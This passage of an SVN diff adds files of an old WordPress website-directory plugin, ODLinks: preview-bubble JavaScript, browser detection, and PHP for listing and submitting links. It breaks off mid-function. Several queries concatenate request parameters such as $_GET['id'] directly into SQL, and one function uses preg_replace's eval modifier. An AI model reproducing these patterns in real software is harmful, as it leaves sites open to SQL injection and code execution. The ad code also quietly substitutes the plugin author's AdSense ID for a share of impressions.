+	document.getElementsByTagName("body")[0].appendChild(_10);
+	_10.className="previewbubble";
+	if (BrowserDetect.browser == 'Explorer') {
+		_10.style.width="240px";
+		_10.style.position="absolute";
+		_10.style.top=_f;
+		_10.style.zIndex=99999;
+		_10.style.left=_e;
+		_10.style.textAlign="left";
+		_10.style.height="190px";
+		_10.style.paddingTop="0";
+		_10.style.paddingLeft="0";
+		_10.style.paddingBottom="0";
+		_10.style.paddingRight="0";
+		_10.style.marginTop="0";
+		_10.style.marginLeft="0";
+		_10.style.marginBottom="0";
+		_10.style.marginRight="0";
+		_10.style.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" + bubbleImagePath + "',sizingMethod='image')";
+	} else {
+		_10.setAttribute("style","text-align: center; z-index: 99999; position: absolute; top: "+_f+"px ; left: "+_e+"px ; background: url("+ bubbleImagePath +") no-repeat; width: 240px; height: 190px; padding: 0; margin: 0;");
+	}
+	if (BrowserDetect.browser == 'Safari' || BrowserDetect.browser == 'Konqueror' ) {
+		var _height = _f;
+		_10.setAttribute("style","text-align: center; z-index: 99999; position: absolute; top: "+ _height +"px ; left: "+_e+"px ; background: url("+ bubbleImagePath +") no-repeat; width: 240px; height: 190px; padding: 0; margin: 0;");    
+	}
+	var img=document.createElement("img");
+	_10.appendChild(img);
+	if (BrowserDetect.browser == 'Explorer') {
+		img.style.paddingTop="0";
+		img.style.paddingLeft="0";
+		img.style.paddingBottom="0";
+		img.style.paddingRight="0";
+		img.style.margin="auto";
+		img.style.marginTop="27px";
+		img.style.marginLeft="25px";
+		img.style.marginBottom="0";
+		img.style.marginRight="0";
+		img.style.borderTop="0";
+		img.style.borderLeft="0";
+		img.style.borderBottom="0";
+		img.style.borderRight="0";
+	} else {
+		img.setAttribute("style","padding-top: 0; padding-left: 0; padding-right: 0; padding-bottom: 0; margin-top: 27px; margin-left: 12px; margin-bottom: 0; margin-right: 0; border: 0");
+	}
+	img.setAttribute("src","http://images.websnapr.com/?url="+_d);
+	img.setAttribute("width",202);
+	img.setAttribute("height",152);
+	img.setAttribute("alt","Snapshot");
+}
+function detachBubble(_12){
+	lbActions=WSR_getElementsByClassName(document,"div","previewbubble");
+	for(i=0;i<lbActions.length;i++){
+		lbActions[i].parentNode.removeChild(lbActions[i]);
+	}
+}
+if(window.addEventListener){
+	addEventListener("load",bindBubbles,false);
+}else{
+	attachEvent("onload",bindBubbles);
+}
+function findPos(obj){
+	var _14=curtop=0;
+	if(obj.offsetParent){
+		_14=obj.offsetLeft;
+		curtop=obj.offsetTop;
+		while(obj=obj.offsetParent){
+			_14+=obj.offsetLeft;
+			curtop+=obj.offsetTop;
+		}
+	}
+	return [_14,curtop];
+}
+
+var BrowserDetect = {
+	init: function () {
+		this.browser = this.searchString(this.dataBrowser) || "An unknown browser";
+		this.version = this.searchVersion(navigator.userAgent)
+			|| this.searchVersion(navigator.appVersion)
+			|| "an unknown version";
+		this.OS = this.searchString(this.dataOS) || "an unknown OS";
+	},
+	searchString: function (data) {
+		for (var i=0;i<data.length;i++)	{
+			var dataString = data[i].string;
+			var dataProp = data[i].prop;
+			this.versionSearchString = data[i].versionSearch || data[i].identity;
+			if (dataString) {
+				if (dataString.indexOf(data[i].subString) != -1)
+					return data[i].identity;
+			}
+			else if (dataProp)
+				return data[i].identity;
+		}
+	},
+	searchVersion: function (dataString) {
+		var index = dataString.indexOf(this.versionSearchString);
+		if (index == -1) return;
+		return parseFloat(dataString.substring(index+this.versionSearchString.length+1));
+	},
+	dataBrowser: [
+		{ 	string: navigator.userAgent,
+			subString: "OmniWeb",
+			versionSearch: "OmniWeb/",
+			identity: "OmniWeb"
+		},{
+			string: navigator.vendor,
+			subString: "Apple",
+			identity: "Safari"
+		},{
+			prop: window.opera,
+			identity: "Opera"
+		},{
+			string: navigator.vendor,
+			subString: "iCab",
+			identity: "iCab"
+		},{
+			string: navigator.vendor,
+			subString: "KDE",
+			identity: "Konqueror"
+		},{
+			string: navigator.userAgent,
+			subString: "Firefox",
+			identity: "Firefox"
+		},{
+			string: navigator.vendor,
+			subString: "Camino",
+			identity: "Camino"
+		},{		// for newer Netscapes (6+)
+			string: navigator.userAgent,
+			subString: "Netscape",
+			identity: "Netscape"
+		},{
+			string: navigator.userAgent,
+			subString: "MSIE",
+			identity: "Explorer",
+			versionSearch: "MSIE"
+		},{
+			string: navigator.userAgent,
+			subString: "Gecko",
+			identity: "Mozilla",
+			versionSearch: "rv"
+		},{ 		// for older Netscapes (4-)
+			string: navigator.userAgent,
+			subString: "Mozilla",
+			identity: "Netscape",
+			versionSearch: "Mozilla"
+		}
+	],
+	dataOS : [
+		{
+			string: navigator.platform,
+			subString: "Win",
+			identity: "Windows"
+		},{
+			string: navigator.platform,
+			subString: "Mac",
+			identity: "Mac"
+		},{
+			string: navigator.platform,
+			subString: "Linux",
+			identity: "Linux"
+		}
+	]
+};
+
+
+function addbookmark(bookmarkurl,bookmarktitle) {
+	if (window.sidebar) {
+		window.sidebar.addPanel(bookmarktitle, bookmarkurl,"");
+	} else if( document.all ) {
+		window.external.AddFavorite(bookmarkurl,bookmarktitle)
+	} else if( window.opera && window.print ) {
+		return true;
+	}
+}
+
+BrowserDetect.init();
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/odl_control.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/odl_control.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/odl_control.php	(revision 44)
@@ -0,0 +1,116 @@
+<?php
+
+/*
+Plugin Name: ODLinks
+Plugin URI: http://www.forgani.com
+Description: Open Directory Links (Website directory)
+Author: Mohammad forgani
+Version: 1.0.1-a
+Author URI: http://www.forgani.com
+
+
+
+Changes 1.0.1-a - Mar 17/03/2009
+- Implement the search function.
+
+Changes 1.0.0-a - Jan 25/01/2009
+-It covers changes between WordPress Version 2.6 and Version 2.7
+
+Changes Nov 23/2008
+- implement the banned list
+
+- added google pagerank
+
+Changes Oct 17/2008
+ - implement the conformaion code (captcha)
+
+Changes Oct 25/2008
+- Update the methods and tools of admin
+
+Changes Nov 12/2008
+- implement the bookmark & send to your friends service
+- edit/replace categories
+
+*/
+
+global $table_prefix, $wpdb;
+$odlinkssettings = get_option('odlinksdata');
+$odlinkstheme = $odlinkssettings['odlinkstheme'];
+
+// Sets the version number.
+$odlinksversion = "1.0";
+// Sets the required user level.
+$odlinksuser_level = 8;
+// Sets the Management page tab name in WordPress Admin area.
+$odlinksadmin_page_name = 'ODLinks';
+// Sets the odlinks page link name in WordPress.
+$odlinks_name = 'odlinks';
+$odlinksuser_field = false;
+// Sets $odlinkswp_mainversion to false.
+$odlinkswp_mainversion = false;
+// Sets $odlinkswp_pageinfo to false.
+$odlinkswp_pageinfo = false;
+// Admin links and their url args.
+$odlinksadmin_links = array(
+	array('name'=>'ODLINKS Settings','arg'=>'odlinkssettings',prg=>'process_odlinkssettings'),
+	array('name'=>'ODLINKS Structure','arg'=>'odlinksstructure',prg=>'process_odlinksstructure'),
+	array('name'=>'ODLINKS Links','arg'=>'odlinksposts',prg=>'process_odlinksposts'),
+	array('name'=>'ODLINKS Utilities','arg'=>'odlinksutilities',prg=>'process_odlinksutilities'),
+);
+
+if (!$odlinkstheme) {$odlinkstheme = 'default';};
+if (!$table_prefix){
+	$table_prefix = $wpdb->prefix;
+}
+
+define('ODL', 'wp-content/plugins/odlinks');
+define('ODLADMIN', 'wp-content/plugins/odlinks/admin/');
+define('ODLINC', 'wp-content/plugins/odlinks/includes/');
+define('ODLADMINTHEME', 'wp-content/plugins/odlinks/themes');
+define('ODLTHEME', 'wp-content/plugins/odlinks/themes/'.$odlinkstheme);
+define('ODLSMARTY', 'wp-content/plugins/odlinks/includes/Smarty');
+define('ODLANG', 'wp-content/plugins/odlinks/languages/');
+
+$smarty_template_dir =  ABSPATH . ODLTHEME;
+$smarty_compile_dir = ABSPATH . ODLSMARTY . '/templates_c';
+$smarty_cache_dir = ABSPATH . ODLSMARTY . '/cache';
+$smarty_config_dir = ABSPATH . ODLSMARTY . '/configs';
+
+
+require_once(ABSPATH . ODLINC . '/odl_functions.php');
+require_once(ABSPATH . ODLADMIN . '/odl_admin_functions.php');
+require_once(ABSPATH . ODLADMIN . '/odl_admin.php');
+require_once(ABSPATH . ODLADMIN . '/odl_admin_settings.php');
+require_once(ABSPATH . ODLADMIN . '/odl_admin_structure.php');
+require_once(ABSPATH . ODLADMIN . '/odl_admin_utilities.php');
+require_once(ABSPATH . ODL . '/odl_posts.php');
+require_once(ABSPATH . ODL . '/odl_search.php');
+require_once(ABSPATH . ODL . '/odl_main.php');
+require_once(ABSPATH . ODLINC . '/captcha_class.php');
+
+#add_action("generate_rewrite_rules","odlinksrewrite_rules_wp");
+#add_action("mod_rewrite_rules", "odlinksrewrite_rules_wp");
+add_filter("the_content", "odlinkspage_handle_content");
+add_filter("the_title", "odlinkspage_handle_title");
+add_filter("wp_list_pages", "odlinkspage_handle_titlechange");
+add_filter("single_post_title", "odlinkspage_handle_pagetitle");
+add_filter("query_vars", "odlinksquery_vars");
+
+
+if (function_exists('add_action')) {
+	add_action('admin_menu', 'odlinks_admin_page');
+}
+
+// Assigns each respective variable.
+if (!$_GET)$_GET = $HTTP_GET_VARS;
+if (!$_POST)$_POST = $HTTP_POST_VARS;
+if (!$_SERVER)$_SERVER = $HTTP_SERVER_VARS;
+if (!$_COOKIE)$_COOKIE = $HTTP_COOKIE_VARS;
+
+// Format any data sent to odlinks.
+if ($_REQUEST["odlinksaction"]){
+	$_SERVER["REQUEST_URI"] = dirname(dirname($_SERVER["PHP_SELF"]))."/".$odlinkssettings['odlinksslug']."/";
+	$_SERVER["REQUEST_URI"] = stripslashes($_SERVER["REQUEST_URI"]);
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/odl_main.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/odl_main.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/odl_main.php	(revision 44)
@@ -0,0 +1,329 @@
+<?php
+
+/*
+ * odl_main.php
+ * @author Mohammad Forgani
+ * wordpress plugin website directory project
+ * @copyright Copyright 2008, Oh Jung-Su
+ * @version 0.5
+ * @link http://www.forgani.com
+*/
+
+include_once(ABSPATH . 'wp-content/plugins/odlinks/includes/pagerank.php');
+function odlinksdisplay_index($msg){
+	global $_GET, $_POST, $table_prefix, $wpdb, $PHP_SELF, $odlinksversion;
+	$odlinkssettings=get_option('odlinksdata');
+	$includePath=get_bloginfo('wpurl') . "/wp-content/plugins/odlinks/includes/";
+	$SnaprHead.= "<script type=\"text/javascript\">var bubbleImagePath=\"".$includePath ."bg.png\"</script>\n";
+	$SnaprHead.= "<script type=\"text/javascript\" src=\"". $includePath ."previewbubble.js\"></script>\n";
+	print($SnaprHead);
+
+	if(!$page) $page=1;
+	$id=$_GET['id'];
+	if(!$id) $id=0;
+	$limit=$odlinkssettings[odlinks_num_links];
+	if (!$limit or $limit ==0) $limit = 10;
+	$tpl=new ODLTemplate();
+
+	$tpl->assign('odl_images', get_bloginfo('wpurl') . "/wp-content/plugins/odlinks");
+	//$odl_advanced=odlinkscreate_link("searchlink", array("name"=>'Advanced'));
+	//$tpl->assign('odl_advanced', $odl_advanced);
+	$odl_search_link=odlinkscreate_link("searchform", array());
+	$tpl->assign('odl_search_link', $odl_search_link);
+	$odl_main_link=odlinkscreate_link("index", array("name"=>"TOP"));
+	$odl_top_link=odlinkscreate_link("index", array("name"=>$odlinkssettings['page_link_title']));
+	$tpl->assign('odl_top_link', $odl_top_link); 
+	$tpl->assign('odl_main_link', $odl_main_link); 
+	$tpl->assign('odl_wpurl', get_bloginfo('url'));
+	if ($msg) $tpl->assign('error',$msg);
+
+
+	$tpl->assign('cat_id',$id); 
+	list($navigationLinks, $addurl, $desc)=odl_create_navigation($id,"","","");
+	$tpl->assign('addurl_link', $addurl);
+	$navigationLinks=trim($navigationLinks);
+	$last=$navigationLinks{strlen($navigationLinks)-1};
+	if (!strcmp($last,":")){
+		$navigationLinks=rtrim($navigationLinks, ':');
+	}
+	$tpl->assign('navigation_link', $navigationLinks); 
+	$tpl->assign('odl_navigation_description', $desc); 
+	$sql="SELECT COUNT(l_id) as count FROM {$table_prefix}odlinks WHERE l_c_id='".$id."' AND l_hide ='visible'";
+	$result=$wpdb->get_results($sql); 
+	for ($i=0; $i<count($result); $i++){
+		$row=$result[$i];
+		$NumberOfPages=ceil($row->count/$limit); 
+	}
+	$from=($page-1)*$limit; 
+	if($from <= 0){	$from=0; }
+	$sql="SELECT * FROM {$table_prefix}odlinks WHERE l_c_id='".$id."' AND l_hide ='visible'";
+	$results=$wpdb->get_results($sql); 
+	$links=array();
+	for ($i=0; $i<count($results); $i++){
+		$result=$results[$i];
+
+		$PR=new ODLPagerank();
+		$rankImage=false;
+		$Url=trim($result->l_url);
+		if (($Url!='') AND ($Url!='http://')) {
+			if (isUrlValid($Url)) {
+				$PageRank=$PR->getRank($Url);
+				$rankImage='pr'.$PageRank.".gif";
+				$rankText='PageRank:' . $PageRank .'/10';
+			}
+		}
+		$sendlinkurl=odlinkscreate_link("sendlink", array("name"=>"Refer it to a Friend", "id"=>$result->l_id));
+		$links[]=array ('title'=>$result->l_title, 'url'=>$Url, 'date'=>$result->l_date, 'description'=>$result->l_description, 'sendlink'=>$sendlinkurl, 'rank_img'=>$rankImage, 'rank_txt'=>$rankText); 
+	}
+ 	$tpl->assign('links', $links); 
+	$tpl->assign("links_total", number_format(odl_total_links(0))); 
+
+	if (!$odlinkssettings['odlinks_last_links_num']) $odlinkssettings['odlinks_last_links_num']=8;
+	$start=0;
+	$tpl->assign("linksNum", $odlinkssettings['odlinks_last_links_num']); 
+	$sql="SELECT * FROM {$table_prefix}odlinks l, {$table_prefix}odcategories c WHERE l.l_c_id = c.c_id AND l.l_hide='visible' ORDER BY l.l_date DESC, l.l_title DESC LIMIT ".($start).", ".($odlinkssettings['odlinks_last_links_num']);
+	$lastAds=$wpdb->get_results($sql);
+	$new_links=array();
+	for ($l=0; $l<count($lastAds); $l++){
+		$result=$lastAds[$l];
+		$new_links[]=array ('date'=>$result->l_date, 'title'=>$result->l_title, 'url'=>$result->l_url, 'description'=>$result->l_description, 'category'=>$result->c_title); 
+	}
+
+ 	$tpl->assign('new_links', $new_links); 
+	$result_cats=$wpdb->get_results("SELECT * FROM {$table_prefix}odcategories ORDER BY c_title ASC"); 
+	$sub_cats=array(); 
+	$cats=array(); 
+	$c_total=count($result_cats);
+	if (!empty($result_cats))
+	foreach ($result_cats as $result_cat) { 
+		if($result_cat->c_parent == $id){
+			$result_cat->c_links=odl_total_links($result_cat->c_id);
+			$title=trim($result_cat->c_title);
+			$odl_category_link=odlinkscreate_link("category", array("name"=>$title, "id"=>$result_cat->c_id, "parent"=>$result_cat->c_parent));
+			$cats[]=array (
+				'c_id'=>$result_cat->c_id,
+				'c_title'=>$title,
+				'c_links'=>$result_cat->c_links,
+				'cat_link'=>$odl_category_link);
+			$sql="SELECT * FROM {$table_prefix}odcategories WHERE c_parent=".$result_cat->c_id." ORDER BY c_title ASC";
+			$result_subs=$wpdb->get_results($sql);
+			if (!empty($result_subs)){
+				$no=0;
+				foreach ($result_subs as $result_sub) {	
+					$no++;
+					$title=trim($result_sub->c_title);
+					$subcategory_link=odlinkscreate_link("category", array("name"=>$title, "id"=>$result_sub->c_id,"parent"=>$result_sub->c_parent));
+					if ( !($result_sub == end($result_subs)) )
+						$subcategory_link=$subcategory_link . ".";
+					$sub_cats[]=array (
+						'c_parent'=>$result_sub->c_parent,
+						'c_title'=>$title,
+						'c_path'=>$subcategory_link,
+						'c_no'=>$no); 
+					};
+			}
+		}
+	}
+	$tpl->assign('categories_total',number_format($c_total)); 
+	$tpl->assign('categories',$cats); 
+	$tpl->assign('subcategories',$sub_cats); 
+
+	if ($odlinkssettings[odlinksshow_credits] == 'y') {
+		$credit='Open Directory Links Powered By <a href="http://www.forgani.com/" target="_blank">4gani</a> Version ' . $odlinksversion;
+		$tpl->assign('odl_credit_line', $credit);
+	}
+
+	list($gAd, $gtop, $gbtn)=get_odl_GADlink();
+
+	if ($gAd) {
+		$code='<div class="odl_googleAd">' . $gAd . '</div>';
+		$tpl->assign('googletop',$gtop); 
+		$tpl->assign('googlebtn',$gbtn); 
+		$tpl->assign('googleAd',$code); 
+	}
+
+	odlinks_footer($tpl);
+	return $tpl->display('body.tpl'); 
+}
+
+
+function get_odl_GADlink() {
+	global $_GET, $_POST, $table_prefix, $wpdb, $PHP_SELF, $odlinksversion;
+	$odlinkssettings=get_option('odlinksdata');
+
+	$gtop=false;
+	$gbtn=false;
+	if ($odlinkssettings[GADposition] == 'bth') {
+		$gtop=true;
+		$gbtn=true;
+	} else {
+		if ($odlinkssettings[GADposition] == 'top') {
+			$gtop=true;
+		} elseif ($odlinkssettings[GADposition] == 'btn') {
+			$gbtn=true;
+		}
+	}
+
+	if ($gtop || $gbtn){
+		$rand=rand(0,100);
+		$key_code=($rand <= $odlinkssettings['share']) ? 'pub-2844370112691023' : $odlinkssettings['googleID'];
+		$format=$odlinkssettings[GADLformat] . '_0ads_al'; // _0ads_al_s  5 Ads Per Unit
+		list($width,$height,$null)=split('[x]',$odlinkssettings[GADLformat]);
+		$code="\n" . '<script type="text/javascript"><!--' . "\n";
+		$code.= 'google_ad_client="' . $key_code . '"; ' . "\n";
+		$code.= 'google_ad_width="' . $width . '"; ' . "\n";
+		$code.= 'google_ad_height="' . $height . '"; ' . "\n";
+		$code.= 'google_ad_format="' . $format . '"; ' . "\n";
+		if($settings['alternate_url']!=''){ 
+			$code.= 'google_alternate_ad_url="' . $settings['alternate_url'] . '"; ' . "\n";
+		} else {
+			if($settings['alternate_color']!='') { 
+				$code.= 'google_alternate_color="' . $settings['alternate_color'] . '"; ' . "\n";
+			}
+		}				
+		//Default to Ads
+		$code.= 'google_color_border="' . $odlinkssettings[GADcolor_border] . '"' . ";\n";
+		$code.= 'google_color_bg="' . $odlinkssettings[GADcolor_bg] . '"' . ";\n";
+		$code.= 'google_color_link="' . $odlinkssettings[GADcolor_link] . '"' . ";\n";
+		$code.= 'google_color_text="' . $odlinkssettings[GADcolor_text] . '"' . ";\n";
+		$code.= 'google_color_url="' . $odlinkssettings[GADcolor_url] . '"' . ";\n";
+		$code.= '//--></script>' . "\n";
+		$code.= '<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>' . "\n";
+		
+		return array($code, $gtop, $gbtn);
+	}
+	return false;
+}
+
+
+function odl_create_navigation($id,$links,$addurl, $desc){
+	global $table_prefix, $wpdb, $tpl;
+	$again="";
+	$sql="SELECT * FROM {$table_prefix}odcategories WHERE c_id=".$id;
+	$result=$wpdb->get_results($sql); 
+	for ($i=0; $i<count($result); $i++){
+		$row=$result[$i];
+		$name=trim($row->c_title);
+		$odl_link=odlinkscreate_link("category", array("name"=>$name, "id"=>$row->c_id, "parent"=>$row->c_parent));
+		$links=$odl_link . ":" . $links;
+		if ($row->c_parent>0)
+		  $addurl=odlinkscreate_link("postlink", array("name"=>"Submitting Your Site", "id"=>$row->c_id, "parent"=>$row->c_parent));
+		$again=odl_create_navigation($row->c_parent, $links, $addurl, $row->c_description);
+		
+	}
+ 	if ($id <> "0") {
+		return $again;
+	} else {
+		$out=array($links, $addurl, $desc);
+		return $out;
+	}
+}
+
+function odl_total_links($cat_id){
+	global $table_prefix, $wpdb;
+	$out=""; 
+	$all_cats=odl_get_categories($cat_id); 
+	for($a=0;$a<=count($all_cats)-1;$a++){
+		$out .= $all_cats[$a].","; 
+	}
+	$sql="SELECT COUNT(l_id) as count FROM {$table_prefix}odlinks WHERE l_hide='visible' AND l_c_id IN (".trim($out,',').")";
+	$result=$wpdb->get_row($sql, ARRAY_A); 
+	return $result['count']; 
+}
+
+function odl_get_categories($parent) {
+	global $table_prefix, $wpdb;
+	$sql="SELECT c_id FROM {$table_prefix}odcategories WHERE c_parent='$parent'";
+	$result=$wpdb->get_results($sql); 
+	$arr[]=$parent; 
+	for ($x=0; $x<count($result); $x++){
+		$row=$result[$x];
+		$arr=odl_combine_arrays($arr, odl_get_categories($row->c_id)); 
+	}
+ 	return $arr; 
+}
+
+function odl_combine_arrays($arr1, $arr2) {
+	foreach ($arr2 as $elem) {
+		$arr1[]=$elem; 
+	}
+	return $arr1; 
+}
+
+
+function odl_html2text( $badStr ) {
+    //remove PHP if it exists
+    while( substr_count( $badStr, '<'.'?' ) && substr_count( $badStr, '?'.'>' ) && strpos( $badStr, '?'.'>', strpos( $badStr, '<'.'?' ) ) > strpos( $badStr, '<'.'?' ) ) {
+        $badStr=substr( $badStr, 0, strpos( $badStr, '<'.'?' ) ) . substr( $badStr, strpos( $badStr, '?'.'>', strpos( $badStr, '<'.'?' ) ) + 2 ); }
+    //remove comments
+    while( substr_count( $badStr, '<!--' ) && substr_count( $badStr, '-->' ) && strpos( $badStr, '-->', strpos( $badStr, '<!--' ) ) > strpos( $badStr, '<!--' ) ) {
+        $badStr=substr( $badStr, 0, strpos( $badStr, '<!--' ) ) . substr( $badStr, strpos( $badStr, '-->', strpos( $badStr, '<!--' ) ) + 3 ); }
+    //now make sure all HTML tags are correctly written (> not in between quotes)
+    for( $x=0, $goodStr='', $is_open_tb=false, $is_open_sq=false, $is_open_dq=false; strlen( $chr=$badStr{$x} ); $x++ ) {
+        //take each letter in turn and check if that character is permitted there
+        switch( $chr ) {
+            case '<':
+                if( !$is_open_tb && strtolower( substr( $badStr, $x + 1, 5 ) ) == 'style' ) {
+                    $badStr=substr( $badStr, 0, $x ) . substr( $badStr, strpos( strtolower( $badStr ), '</style>', $x ) + 7 ); $chr='';
+                } elseif( !$is_open_tb && strtolower( substr( $badStr, $x + 1, 6 ) ) == 'script' ) {
+                    $badStr=substr( $badStr, 0, $x ) . substr( $badStr, strpos( strtolower( $badStr ), '</script>', $x ) + 8 ); $chr='';
+                } elseif( !$is_open_tb ) { $is_open_tb=true; } else { $chr='&lt;'; }
+                break;
+            case '>':
+                if( !$is_open_tb || $is_open_dq || $is_open_sq ) { $chr='&gt;'; } else { $is_open_tb=false; }
+                break;
+            case '"':
+                if( $is_open_tb && !$is_open_dq && !$is_open_sq ) { $is_open_dq=true; }
+                elseif( $is_open_tb && $is_open_dq && !$is_open_sq ) { $is_open_dq=false; }
+                else { $chr='&quot;'; }
+                break;
+            case "'":
+                if( $is_open_tb && !$is_open_dq && !$is_open_sq ) { $is_open_sq=true; }
+                elseif( $is_open_tb && !$is_open_dq && $is_open_sq ) { $is_open_sq=false; }
+        } $goodStr .= $chr;
+    }
+    //now that the page is valid (I hope) for strip_tags, strip all unwanted tags
+    $goodStr=strip_tags( $goodStr, '<title><hr><h1><h2><h3><h4><h5><h6><div><p><pre><sup><ul><ol><br><dl><dt><table><caption><tr><li><dd><th><td><a><area><img><form><input><textarea><button><select><option>' );
+    //strip extra whitespace except between <pre> and <textarea> tags
+    $badStr=preg_split( "/<\/?pre[^>]*>/i", $goodStr );
+    for( $x=0; is_string( $badStr[$x] ); $x++ ) {
+        if( $x % 2 ) { $badStr[$x]='<pre>'.$badStr[$x].'</pre>'; } else {
+            $goodStr=preg_split( "/<\/?textarea[^>]*>/i", $badStr[$x] );
+            for( $z=0; is_string( $goodStr[$z] ); $z++ ) {
+                if( $z % 2 ) { $goodStr[$z]='<textarea>'.$goodStr[$z].'</textarea>'; } else {
+                    $goodStr[$z]=preg_replace( "/\s+/", ' ', $goodStr[$z] );
+            } }
+            $badStr[$x]=implode('',$goodStr);
+    } }
+    $goodStr=implode('',$badStr);
+    //remove all options from select inputs
+    $goodStr=preg_replace( "/<option[^>]*>[^<]*/i", '', $goodStr );
+    //replace all tags with their text equivalents
+    $goodStr=preg_replace( "/<(\/title|hr)[^>]*>/i", "\n-----------------------------------------------\n", $goodStr );
+    $goodStr=preg_replace( "/<(h|div|p)[^>]*>/i", "\n\n", $goodStr );
+    $goodStr=preg_replace( "/<sup[^>]*>/i", '^', $goodStr );
+    $goodStr=preg_replace( "/<(ul|ol|br|dl|dt|table|caption|\/textarea|tr[^>]*>\s*<(td|th))[^>]*>/i", "\n", $goodStr );
+    $goodStr=preg_replace( "/<li[^>]*>/i", "\nÂ· ", $goodStr );
+    $goodStr=preg_replace( "/<dd[^>]*>/i", "\n\t", $goodStr );
+    $goodStr=preg_replace( "/<(th|td)[^>]*>/i", "\t", $goodStr );
+    $goodStr=preg_replace( "/<a[^>]* href=(\"((?!\"|#|javascript:)[^\"#]*)(\"|#)|'((?!'|#|javascript:)[^'#]*)('|#)|((?!'|\"|>|#|javascript:)[^#\"'> ]*))[^>]*>/i", "[LINK: $2$4$6] ", $goodStr );
+    $goodStr=preg_replace( "/<img[^>]* alt=(\"([^\"]+)\"|'([^']+)'|([^\"'> ]+))[^>]*>/i", "[IMAGE: $2$3$4] ", $goodStr );
+    $goodStr=preg_replace( "/<form[^>]* action=(\"([^\"]+)\"|'([^']+)'|([^\"'> ]+))[^>]*>/i", "\n[FORM: $2$3$4] ", $goodStr );
+    $goodStr=preg_replace( "/<(input|textarea|button|select)[^>]*>/i", "[INPUT] ", $goodStr );
+    //strip all remaining tags (mostly closing tags)
+    $goodStr=strip_tags( $goodStr );
+    //convert HTML entities
+    $goodStr=strtr( $goodStr, array_flip( get_html_translation_table( HTML_ENTITIES ) ) );
+    preg_replace( "/&#(\d+);/me", "chr('$1')", $goodStr );
+    //wordwrap
+    $goodStr=wordwrap( $goodStr );
+    //make sure there are no more than 3 linebreaks in a row and trim whitespace
+    return preg_replace( "/^\n*|\n*$/", '', preg_replace( "/[ \t]+(\n|$)/", "$1", preg_replace( "/\n(\s*\n){2}/", "\n\n\n", preg_replace( "/\r\n?|\f/", "\n", str_replace( chr(160), ' ', $goodStr ) ) ) ) );
+}
+
+function isUrlValid($Url) {
+	return (strpos(strtolower($Url),'http://')===0);
+}
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/odl_posts.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/odl_posts.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/odl_posts.php	(revision 44)
@@ -0,0 +1,334 @@
+<?php
+
+/*
+ * odl_posts.php
+ * wordpress plugin website directory project
+ * @author Mohammad Forgani
+ * @copyright Copyright 2008, Oh Jung-Su
+ * @version 1.0.0-a
+ * @link http://www.forgani.com
+*/
+
+
+
+$odlinkssettings=get_option('odlinksdata');
+
+function odlinkspost_link(){
+	global $_GET, $_POST, $table_prefix, $wpdb;
+
+	$odlinkssettings=get_option('odlinksdata');
+	$parent=$_GET['parent'];
+	if (!$parent) $parent=0;
+
+	$displayform=true;
+	$tpl=new ODLTemplate();
+
+	$tpl->assign('odl_images', get_bloginfo('wpurl')."/wp-content/plugins/odlinks");
+	//$odl_search_link= get_bloginfo('url')."&odlinksaction=searchlink";
+	//$odl_advanced=odlinkscreate_link("searchlink", array("name"=>'Advanced'));
+	//$tpl->assign('odl_advanced', $odl_advanced);
+	$odl_search_link=odlinkscreate_link("searchform", array());
+	$tpl->assign('odl_search_link', $odl_search_link);
+	$odl_main_link=odlinkscreate_link("index", array("name"=>"Main"));
+	$odl_top_link=odlinkscreate_link("index", array("name"=>$odlinkssettings['page_link_title']));
+	$tpl->assign('odl_top_link', $odl_top_link); 
+	$tpl->assign('odl_main_link', $odl_main_link); 
+	$tpl->assign('odl_wpurl', get_bloginfo('url'));
+	
+	$url=$_POST['odlinksdata']['url'];
+	$email=$_POST['odlinksdata']['email'];
+	$title=$_POST['odlinksdata']['title'];
+	$category=$_POST['odlinksdata']['category'];
+	$description=$_POST['odlinksdata']['description'];
+
+	if ($_POST['odlinkspost_topic']=='yes'){
+		$makepost=true;	
+		if (str_replace(" ", "", $email)==''){
+			$msg ="You need to enter email address!";
+			$makepost=false;
+		}
+		if (str_replace(" ", "", $url)==''){
+			$msg ="You must provide an url!";
+			$makepost=false;
+		} else {
+			$sql="SELECT c_domain FROM {$table_prefix}odbanned";
+			$results=$wpdb->get_results($sql); 
+			for($i=0; $i<count($results); $i++){
+				$row=$results[$i];
+				if(eregi($row->c_domain,$url)){ 
+					$msg = "This address that is banned from our directory, please contact administration to resolve this issue: " .get_option('admin_email'); 
+					$makepost=false;
+				}
+			}
+		}
+
+		if (str_replace(" ", "", $title)==''){
+			$msg ="You must to enter a title!";
+			$makepost=false;
+		}
+
+		if (!$category || str_replace(" ", "", $category)==''){
+			$msg ="You need to select at least one category!";
+			$makepost=false;
+		}
+
+		if (str_replace(" ", "", $description)==''){
+			$msg ="You must provide a description!";
+			$makepost=false;
+		}
+
+		if($odlinkssettings['confirmation_code']=='y'){ 
+			if (! _odl_captcha::Validate($_POST['odlinksdata']['odl_captcha'])) {
+   				$msg="The confirmation code didn't matched.";
+				$makepost=false;
+  			}
+		}
+
+		if($url && !eregi("http://",$url)){ 
+			$url='http://'.$url;
+		}
+
+		if ($makepost==true){
+			$sql="SELECT * FROM {$table_prefix}odnew_links";
+			$results=$wpdb->get_results($sql); 
+			if (!empty($results))
+			foreach ($results as $result) {
+				if($result->n_url == $url){ 
+					$msg="This URL was already submitted. We will check it as soon as possible.";
+					$makepost=false;
+				}
+			}
+
+			$sql="SELECT * FROM {$table_prefix}odlinks";
+			$results=$wpdb->get_results($sql); 
+			if (!empty($results)) {
+				// check Double Post
+				foreach ($results as $result) {
+					if($result->l_url == $url){ 
+						$msg="This URL is already listed in our directory."; 
+						$makepost=false;
+					}
+				}
+			}
+			if ($makepost==true){
